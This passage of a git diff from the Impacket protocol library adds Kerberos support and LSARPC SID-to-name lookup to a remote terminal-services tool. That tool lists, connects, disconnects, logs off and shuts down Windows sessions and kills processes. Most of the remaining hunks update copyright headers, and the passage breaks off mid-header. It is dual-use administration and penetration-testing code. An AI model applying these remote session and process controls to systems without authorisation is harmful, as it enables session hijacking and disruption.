Level=1)['ppSessionEnumResult'] lsm.hRpcCloseEnum(handle) @@ -93,43 +94,39 @@ def get_session_list(self): for i in rsessions: sess = i['SessionInfo']['SessionEnum_Level1'] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] - self.sessions[sess['SessionId']] = { 'state' :state, - 'SessionName' :sess['Name'], - 'RemoteIp' :'', - 'ClientName' :'', - 'Username' :'', - 'Domain' :'', - 'Resolution' :'', - 'ClientTimeZone':'' - } + self.sessions[sess['SessionId']] = { 'state' :state, + 'SessionName' :sess['Name'], + 'RemoteIp' :'', + 'ClientName' :'', + 'Username' :'', + 'Domain' :'', + 'Resolution' :'', + 'ClientTimeZone':'' + } def enumerate_sessions_config(self): # Get session config one by one - smb = self.__smbConnection - target_ip = self.__options.target_ip if len(self.sessions): - with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip) as termsrv: + with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as termsrv: for SessionId in self.sessions: resp = termsrv.hRpcGetClientData(SessionId) if resp is not None: self.sessions[SessionId]['RemoteIp'] = resp['ppBuff']['ClientAddress'] self.sessions[SessionId]['ClientName'] = resp['ppBuff']['ClientName'] if len(resp['ppBuff']['UserName']) and not len(self.sessions[SessionId]['Username']): - self.sessions[SessionId]['Username'] = resp['ppBuff']['UserName'] + self.sessions[SessionId]['Username'] = resp['ppBuff']['UserName'] if len(resp['ppBuff']['Domain']) and not len(self.sessions[SessionId]['Domain']): - self.sessions[SessionId]['Domain'] = resp['ppBuff']['Domain'] + self.sessions[SessionId]['Domain'] = resp['ppBuff']['Domain'] self.sessions[SessionId]['Resolution'] = '{}x{}'.format( - resp['ppBuff']['HRes'], - resp['ppBuff']['VRes'] - ) + resp['ppBuff']['HRes'], + resp['ppBuff']['VRes'] + ) self.sessions[SessionId]['ClientTimeZone'] = resp['ppBuff']['ClientTimeZone']['StandardName'] def enumerate_sessions_info(self): # Get session info one by one - smb = self.__smbConnection - target_ip = self.__options.target_ip if len(self.sessions): - with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip) as TermSrvSession: + with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as TermSrvSession: for SessionId in self.sessions.keys(): sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) @@ -263,13 +260,64 @@ def do_qwinsta(self): for row in result: print(row) + def lookupSids(self): + # Slightly modified code from lookupsid.py + try: + stringbinding = r'ncacn_np:%s[\pipe\lsarpc]' % self.__options.target_ip + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_smb_connection(self.__smbConnection) + dce = rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.connect() + + dce.bind(lsat.MSRPC_UUID_LSAT) + sids = list(self.sids.keys()) + if len(sids) > 32: + sids = sids[:32] # TODO in future update + resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) + policyHandle = resp['PolicyHandle'] + try: + resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + except DCERPCException as e: + if str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: + resp = e.get_packet() + else: + raise + for sid, item in zip(sids,resp['TranslatedNames']['Names']): + # if item['Use'] != SID_NAME_USE.SidTypeUnknown: + domainIndex = item['DomainIndex'] + if domainIndex == -1: # Unknown domain + self.sids[sid] = '{}\\{}'.format('???', item['Name']) + elif domainIndex >= 0: + name = '{}\\{}'.format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name']) + self.sids[sid] = name + dce.disconnect() + except: + logging.debug(traceback.format_exc()) + + def sidToUser(self, sid): + if sid[:2] == 'S-' and sid in self.sids: + return self.sids[sid] + return sid + def do_tasklist(self): options = self.__options - with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) if not len(r): return None + + self.sids = {} + for procInfo in r: + sid = procInfo['pSid'] + if sid[:2] == 'S-' and sid not in self.sids: + self.sids[sid] = sid + + self.lookupSids() + maxImageNameLen = max([len(i['ImageName']) for i in r]) maxSidLen = max([len(i['pSid']) for i in r]) if options.verbose: @@ -321,8 +369,8 @@ def do_tasklist(self): pid = procInfo['UniqueProcessId'], sessionName = self.sessions[sessId]['SessionName'], sessid = procInfo['SessionId'], - sessstate = self.sessions[sessId]['state'].replace('Disconnected','Disc'), - sid = procInfo['pSid'], + sessstate = self.sessions[sessId]['state'].replace('Disconnected','Disc'), + sid = self.sidToUser(procInfo['pSid']), sessionuser = fullUserName, workingset = procInfo['WorkingSetSize']//1000 ) @@ -336,11 +384,10 @@ def do_tasklist(self): procInfo['ImageName'], procInfo['UniqueProcessId'], procInfo['SessionId'], - procInfo['pSid'], + self.sidToUser(procInfo['pSid']), '{:,} K'.format(procInfo['WorkingSetSize']//1000), ) print(row) - def do_taskkill(self): options = self.__options @@ -348,7 +395,7 @@ def do_taskkill(self): LOG.error('One of the following is required: -pid, -name') return pidList = [] - with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() if options.pid is None and options.name is not None: r = legacy.hRpcWinStationGetAllProcesses(handle) @@ -375,7 +422,7 @@ def do_taskkill(self): def do_tscon(self): options = self.__options - with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession: try: session_handle = None print('Connecting SessionID %d to %d ...' % (options.source, options.dest), end='') @@ -405,7 +452,7 @@ def do_tscon(self): def do_tsdiscon(self): options = self.__options - with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession: try: print('Disconnecting SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) @@ -424,7 +471,7 @@ def do_tsdiscon(self): def do_logoff(self): options = self.__options - with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession: try: print('Signing-out SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) @@ -445,7 +492,7 @@ def do_logoff(self): def do_shutdown(self): options = self.__options - with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() flags = 0 flagsList = [] @@ -472,8 +519,7 @@ def do_shutdown(self): def do_msg(self): options = self.__options - - with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip, self.__doKerberos) as TSSession: try: print('Sending message to SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) diff --git a/examples/wmiexec.py b/examples/wmiexec.py index b3b5252361..52411b55da 100755 --- a/examples/wmiexec.py +++ b/examples/wmiexec.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/wmipersist.py b/examples/wmipersist.py index 327064fc11..596593d661 100755 --- a/examples/wmipersist.py +++ b/examples/wmipersist.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/wmiquery.py b/examples/wmiquery.py index 903737347b..433d7fc669 100755 --- a/examples/wmiquery.py +++ b/examples/wmiquery.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/Dot11Crypto.py b/impacket/Dot11Crypto.py index 16b2c2ce6c..cdc173c188 100644 --- a/impacket/Dot11Crypto.py +++ b/impacket/Dot11Crypto.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/Dot11KeyManager.py b/impacket/Dot11KeyManager.py index df5bdd96a2..62ff65640f 100644 --- a/impacket/Dot11KeyManager.py +++ b/impacket/Dot11KeyManager.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/ICMP6.py b/impacket/ICMP6.py index e397fc1d53..1c458b8b2a 100644 --- a/impacket/ICMP6.py +++ b/impacket/ICMP6.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/IP6.py b/impacket/IP6.py index 2aca646d3d..a5d469f636 100644 --- a/impacket/IP6.py +++ b/impacket/IP6.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/IP6_Address.py b/impacket/IP6_Address.py index 5a5db8b3ad..204a924de4 100644 --- a/impacket/IP6_Address.py +++ b/impacket/IP6_Address.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/IP6_Extension_Headers.py b/impacket/IP6_Extension_Headers.py index 7b7ca20963..cd4e6a3b2a 100644 --- a/impacket/IP6_Extension_Headers.py +++ b/impacket/IP6_Extension_Headers.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/ImpactDecoder.py b/impacket/ImpactDecoder.py index 96cd9bad6c..be9f8a9c58 100644 --- a/impacket/ImpactDecoder.py +++ b/impacket/ImpactDecoder.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py index 9794df93c5..79f3f4f077 100644 --- a/impacket/ImpactPacket.py +++ b/impacket/ImpactPacket.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/NDP.py b/impacket/NDP.py index 4ff0fd4668..8afc291d02 100644 --- a/impacket/NDP.py +++ b/impacket/NDP.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/__init__.py b/impacket/__init__.py index ac239fd83a..d19fb71014 100644 --- a/impacket/__init__.py +++ b/impacket/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/cdp.py b/impacket/cdp.py index 4b871e053d..d050895a67 100644 --- a/impacket/cdp.py +++ b/impacket/cdp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/crypto.py b/impacket/crypto.py index e68092884a..9e2e46b390 100644 --- a/impacket/crypto.py +++ b/impacket/crypto.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/__init__.py b/impacket/dcerpc/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/dcerpc/__init__.py +++ b/impacket/dcerpc/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/__init__.py b/impacket/dcerpc/v5/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/dcerpc/v5/__init__.py +++ b/impacket/dcerpc/v5/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/atsvc.py b/impacket/dcerpc/v5/atsvc.py index 0ea6ac76e5..2e623f70d2 100644 --- a/impacket/dcerpc/v5/atsvc.py +++ b/impacket/dcerpc/v5/atsvc.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/bkrp.py b/impacket/dcerpc/v5/bkrp.py index 75c36f2cc5..4d26e136c7 100644 --- a/impacket/dcerpc/v5/bkrp.py +++ b/impacket/dcerpc/v5/bkrp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/__init__.py b/impacket/dcerpc/v5/dcom/__init__.py index 8a4b094ded..29d7be4975 100644 --- a/impacket/dcerpc/v5/dcom/__init__.py +++ b/impacket/dcerpc/v5/dcom/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/comev.py b/impacket/dcerpc/v5/dcom/comev.py index 0c5dbf881c..6b6183b558 100644 --- a/impacket/dcerpc/v5/dcom/comev.py +++ b/impacket/dcerpc/v5/dcom/comev.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/oaut.py b/impacket/dcerpc/v5/dcom/oaut.py index 3497d1d924..e5a071dd3f 100644 --- a/impacket/dcerpc/v5/dcom/oaut.py +++ b/impacket/dcerpc/v5/dcom/oaut.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/scmp.py b/impacket/dcerpc/v5/dcom/scmp.py index ec800cf735..dfe0a9d448 100644 --- a/impacket/dcerpc/v5/dcom/scmp.py +++ b/impacket/dcerpc/v5/dcom/scmp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/vds.py b/impacket/dcerpc/v5/dcom/vds.py index 429aaecc88..fe2115c8a0 100644 --- a/impacket/dcerpc/v5/dcom/vds.py +++ b/impacket/dcerpc/v5/dcom/vds.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py index 78d4094233..79a1fb1afc 100644 --- a/impacket/dcerpc/v5/dcom/wmi.py +++ b/impacket/dcerpc/v5/dcom/wmi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py index 2c751e5cb4..e2ac503956 100644 --- a/impacket/dcerpc/v5/dcomrt.py +++ b/impacket/dcerpc/v5/dcomrt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dhcpm.py b/impacket/dcerpc/v5/dhcpm.py index 77ea823500..2ac9961278 100755 --- a/impacket/dcerpc/v5/dhcpm.py +++ b/impacket/dcerpc/v5/dhcpm.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/drsuapi.py b/impacket/dcerpc/v5/drsuapi.py index 2f5462e1eb..fa9f73e0cb 100644 --- a/impacket/dcerpc/v5/drsuapi.py +++ b/impacket/dcerpc/v5/drsuapi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dssp.py b/impacket/dcerpc/v5/dssp.py index 387da69d20..bc3a9ca8fd 100644 --- a/impacket/dcerpc/v5/dssp.py +++ b/impacket/dcerpc/v5/dssp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index b955d45ba3..3e082c51b3 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/enum.py b/impacket/dcerpc/v5/enum.py index 2b50981fd6..675ea2ecfb 100644 --- a/impacket/dcerpc/v5/enum.py +++ b/impacket/dcerpc/v5/enum.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/epm.py b/impacket/dcerpc/v5/epm.py index e9feb02f8f..bc0f7fcb77 100644 --- a/impacket/dcerpc/v5/epm.py +++ b/impacket/dcerpc/v5/epm.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/even.py b/impacket/dcerpc/v5/even.py index 7a87e99834..3fdd23e5e5 100644 --- a/impacket/dcerpc/v5/even.py +++ b/impacket/dcerpc/v5/even.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/even6.py b/impacket/dcerpc/v5/even6.py index 88d455a4dd..6ccf627013 100644 --- a/impacket/dcerpc/v5/even6.py +++ b/impacket/dcerpc/v5/even6.py @@ -1,12 +1,15 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. -# Copyright (c) 2017 @MrAnde7son +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # +# Copyright (c) 2017 @MrAnde7son +# # Description: # Initial [MS-EVEN6] Interface implementation # diff --git a/impacket/dcerpc/v5/gkdi.py b/impacket/dcerpc/v5/gkdi.py index 0a5e4d4644..6b6a67ac37 100644 --- a/impacket/dcerpc/v5/gkdi.py +++ b/impacket/dcerpc/v5/gkdi.py @@ -1,3 +1,13 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. + from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import ULONG, PGUID, LONG, NTSTATUS, NULL from impacket.dcerpc.v5.rpcrt import DCERPCException diff --git a/impacket/dcerpc/v5/iphlp.py b/impacket/dcerpc/v5/iphlp.py index 33b079c9f3..4345dbfb2e 100644 --- a/impacket/dcerpc/v5/iphlp.py +++ b/impacket/dcerpc/v5/iphlp.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/lsad.py b/impacket/dcerpc/v5/lsad.py index 13eed60069..84d339811b 100644 --- a/impacket/dcerpc/v5/lsad.py +++ b/impacket/dcerpc/v5/lsad.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/lsat.py b/impacket/dcerpc/v5/lsat.py index 2b1a392b55..22e91f8cdf 100644 --- a/impacket/dcerpc/v5/lsat.py +++ b/impacket/dcerpc/v5/lsat.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/mgmt.py b/impacket/dcerpc/v5/mgmt.py index bc28072a83..0f6daa251d 100644 --- a/impacket/dcerpc/v5/mgmt.py +++ b/impacket/dcerpc/v5/mgmt.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/mimilib.py b/impacket/dcerpc/v5/mimilib.py index 5990772e82..33baed474e 100644 --- a/impacket/dcerpc/v5/mimilib.py +++ b/impacket/dcerpc/v5/mimilib.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/ndr.py b/impacket/dcerpc/v5/ndr.py index dc76c4c519..447186cb8b 100644 --- a/impacket/dcerpc/v5/ndr.py +++ b/impacket/dcerpc/v5/ndr.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/nrpc.py b/impacket/dcerpc/v5/nrpc.py index ec4586b699..94ed6cb19c 100644 --- a/impacket/dcerpc/v5/nrpc.py +++ b/impacket/dcerpc/v5/nrpc.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/nspi.py b/impacket/dcerpc/v5/nspi.py index 92b7203998..51656109c8 100644 --- a/impacket/dcerpc/v5/nspi.py +++ b/impacket/dcerpc/v5/nspi.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/oxabref.py b/impacket/dcerpc/v5/oxabref.py index a2a8717b3a..cd9df1141b 100644 --- a/impacket/dcerpc/v5/oxabref.py +++ b/impacket/dcerpc/v5/oxabref.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/par.py b/impacket/dcerpc/v5/par.py index 2dc6b1f2de..f506716055 100644 --- a/impacket/dcerpc/v5/par.py +++ b/impacket/dcerpc/v5/par.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/rpch.py b/impacket/dcerpc/v5/rpch.py index 0e37f3076a..ae1c3bc632 100644 --- a/impacket/dcerpc/v5/rpch.py +++ b/impacket/dcerpc/v5/rpch.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/dcerpc/v5/rpcrt.py b/impacket/dcerpc/v5/rpcrt.py index bf6edee689..ab5e4b5b5d 100644 --- a/impacket/dcerpc/v5/rpcrt.py +++ 